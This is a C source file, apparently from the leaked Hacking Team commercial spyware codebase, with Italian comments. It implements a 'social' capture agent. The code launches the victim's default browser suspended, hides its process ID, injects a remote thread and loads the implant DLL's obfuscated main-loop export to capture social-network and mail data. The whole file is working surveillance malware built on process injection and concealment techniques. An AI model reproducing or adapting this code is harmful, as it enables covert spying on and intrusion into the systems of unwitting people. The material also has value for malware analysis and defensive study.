hackedteam/core-win32

// Globals
BOOL social_is_host_started = FALSE; // Indica se il processo host del thread social e' stato gia' lanciato

#define DEFAULT_MAX_MAIL_SIZE (1024*100)

typedef void (__stdcall *Social_MainLoop_t) (void);
typedef void (__stdcall *ExitProcess_T) (UINT);

typedef struct {
    HMCommonDataStruct pCommon;     // Necessario per usare HM_sCreateHookA. Definisce anche le funzioni come LoadLibrary
    char cDLLHookName[DLLNAMELEN];    // Nome della dll principal
    char cSocialMainLoop[64];          // Nome della funzione "social"
    ExitProcess_T pExitProcess;
} SocialThreadDataStruct;
SocialThreadDataStruct SocialThreadData;

// Thread remoto iniettato nel processo Social host
DWORD Social_HostThread(SocialThreadDataStruct *pDataThread)
{
    HMODULE hMainDLL;
    Social_MainLoop_t pSocial_MainLoop;
    INIT_WRAPPER(BYTE);

    hMainDLL = pDataThread->pCommon._LoadLibrary(pDataThread->cDLLHookName);
    if (!hMainDLL)
        pDataThread->pExitProcess(0);

    pSocial_MainLoop = (Social_MainLoop_t)pDataThread->pCommon._GetProcAddress(hMainDLL, pDataThread->cSocialMainLoop);
    
    // Invoca il ciclo principale 
    if (pSocial_MainLoop)
        pSocial_MainLoop();

    // Se il ciclo principale esce per qualche errore
    // il processo host viene chiuso
    pDataThread->pExitProcess(0);
    return 0;
}

// Lancia il thread Social nel processo dwPid
BOOL Social_StartThread(DWORD dwPid, HANDLE hHostProcess)
{
    HANDLE hThreadRem;
    DWORD dwThreadId;

    // Alloca dati e funzioni del thread Social nel processo dwPid
    if(HM_sCreateHookA(dwPid, NULL, NULL, (BYTE *)Social_HostThread, 600, (BYTE *)&SocialThreadData, sizeof(SocialThreadData)) == NULL)
        return FALSE;
    
    if ( !(hThreadRem = HM_SafeCreateRemoteThread(hHostProcess, NULL, 8192, (LPTHREAD_START_ROUTINE)SocialThreadData.pCommon.dwHookAdd, (LPVOID)SocialThreadData.pCommon.dwDataAdd, 0, &dwThreadId)) )
        return FALSE;
        
    CloseHandle(hThreadRem);
    return TRUE;
}

DWORD SocialHost_Setup()
{
    HMODULE hMod;

    VALIDPTR(hMod = GetModuleHandle("KERNEL32.DLL"));

    // API utilizzate dal thread remoto.... [KERNEL32.DLL]
    VALIDPTR(SocialThreadData.pCommon._LoadLibrary = (LoadLibrary_T) HM_SafeGetProcAddress(hMod, "LoadLibraryA"));
    VALIDPTR(SocialThreadData.pCommon._GetProcAddress = (GetProcAddress_T) HM_SafeGetProcAddress(hMod, "GetProcAddress"));
    VALIDPTR(SocialThreadData.pExitProcess = (ExitProcess_T) HM_SafeGetProcAddress(hMod, "ExitProcess"));

    HM_CompletePath(H4DLLNAME, SocialThreadData.cDLLHookName);
    _snprintf_s(SocialThreadData.cSocialMainLoop, sizeof(SocialThreadData.cSocialMainLoop), _TRUNCATE, "PPPFTBBP12");

    return 0;
}

BOOL StartSocialHost(char *process_name)
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    HANDLE Social_HostProcess;
    pid_hide_struct pid_hide = NULL_PID_HIDE_STRUCT;

    if ( SocialHost_Setup() != 0 )
        return FALSE;

    // Lancia il process host con il main thread stoppato
    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    HM_CreateProcess(process_name, CREATE_SUSPENDED, &si, &pi, 0);
    // Se HM_CreateProcess fallisce, pi.dwProcessId e' settato a 0
    if (!pi.dwProcessId) 
        return FALSE;
    
    Social_HostProcess = FNC(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);
    if(Social_HostProcess == NULL) {
        SAFE_TERMINATEPROCESS(Social_HostProcess);
        return FALSE;
    }
    
    // Se e' a 64 bit ci risparmiamo i passi successivi e chiudiamo subito...
    if (IsX64Process(pi.dwProcessId)){
        SAFE_TERMINATEPROCESS(Social_HostProcess);
        return FALSE;
    }

    SET_PID_HIDE_STRUCT(pid_hide, pi.dwProcessId);
    AM_AddHide(HIDE_PID, &pid_hide);
    Sleep(3000);

    // Lancia il thread che eseguira' il main loop 
    if (!Social_StartThread(pi.dwProcessId, Social_HostProcess)) {
        SAFE_TERMINATEPROCESS(Social_HostProcess);
        return FALSE;
    }

    return TRUE;
}

// XXX Per disabilitare questo agente basta commentare il contenuto di questa funzione
void StartSocialCapture()
{
    char social_host[DLLNAMELEN+2]; // Il nome del processo avra' le ""

    // Solo la prima volta che viene startato uno degli agenti coinvolti il processo parte
    // Poi rimarra' sempre attivo fino all'uninstall. Al processo stesso il compito
    // di non catturare log per i moduli non attivi
    if (social_is_host_started)
        return;

    // Prova con il browser di default
    HM_GetDefaultBrowser(social_host);
    if (!StartSocialHost(social_host)) {
        // Se per qualche motivo non riesce a iniettarsi nel default browser, prova con IE32
        HM_GetIE32Browser(social_host);
        if (!StartSocialHost(social_host))
            return;
    }
    social_is_host_started = TRUE;
}

DWORD __stdcall PM_SocialAgentStartStop(BOOL bStartFlag, BOOL bReset)
{    
    if (bStartFlag) 
        social_process_control = SOCIAL_PROCESS_CONTINUE;
    else
        social_process_control = SOCIAL_PROCESS_PAUSE;
        
    return 1;
}

DWORD __stdcall PM_SocialAgentUnregister()
{
    social_process_control = SOCIAL_PROCESS_EXIT;
    return 1;
}

DWORD __stdcall PM_SocialAgentInit(JSONObject elem)
{
    // Segnala l'agent manager che questo agente e' sempre attivo. In questo modo verro' PM_SocialAgentStartStop verra' 
    // chiamata quando sara' necessario mettere in pausa l'agente
    // ma, soprattutto, verra chiamata per riattivarlo quando la pausa e' finita. Se il processo host non e' partito 
    // cambiare la variabile social_process_control e' comunque ininfluente
    AM_MonitorStartStop(PM_SOCIALAGENT, TRUE); 
    return 1;
}

void PM_SocialAgentRegister()
{
    social_process_control = SOCIAL_PROCESS_CONTINUE;
    max_social_mail_len = DEFAULT_MAX_MAIL_SIZE;
    AM_MonitorRegister(L"social", PM_SOCIALAGENT, NULL, (BYTE *)PM_SocialAgentStartStop, (BYTE *)PM_SocialAgentInit, (BYTE *)PM_SocialAgentUnregister);
}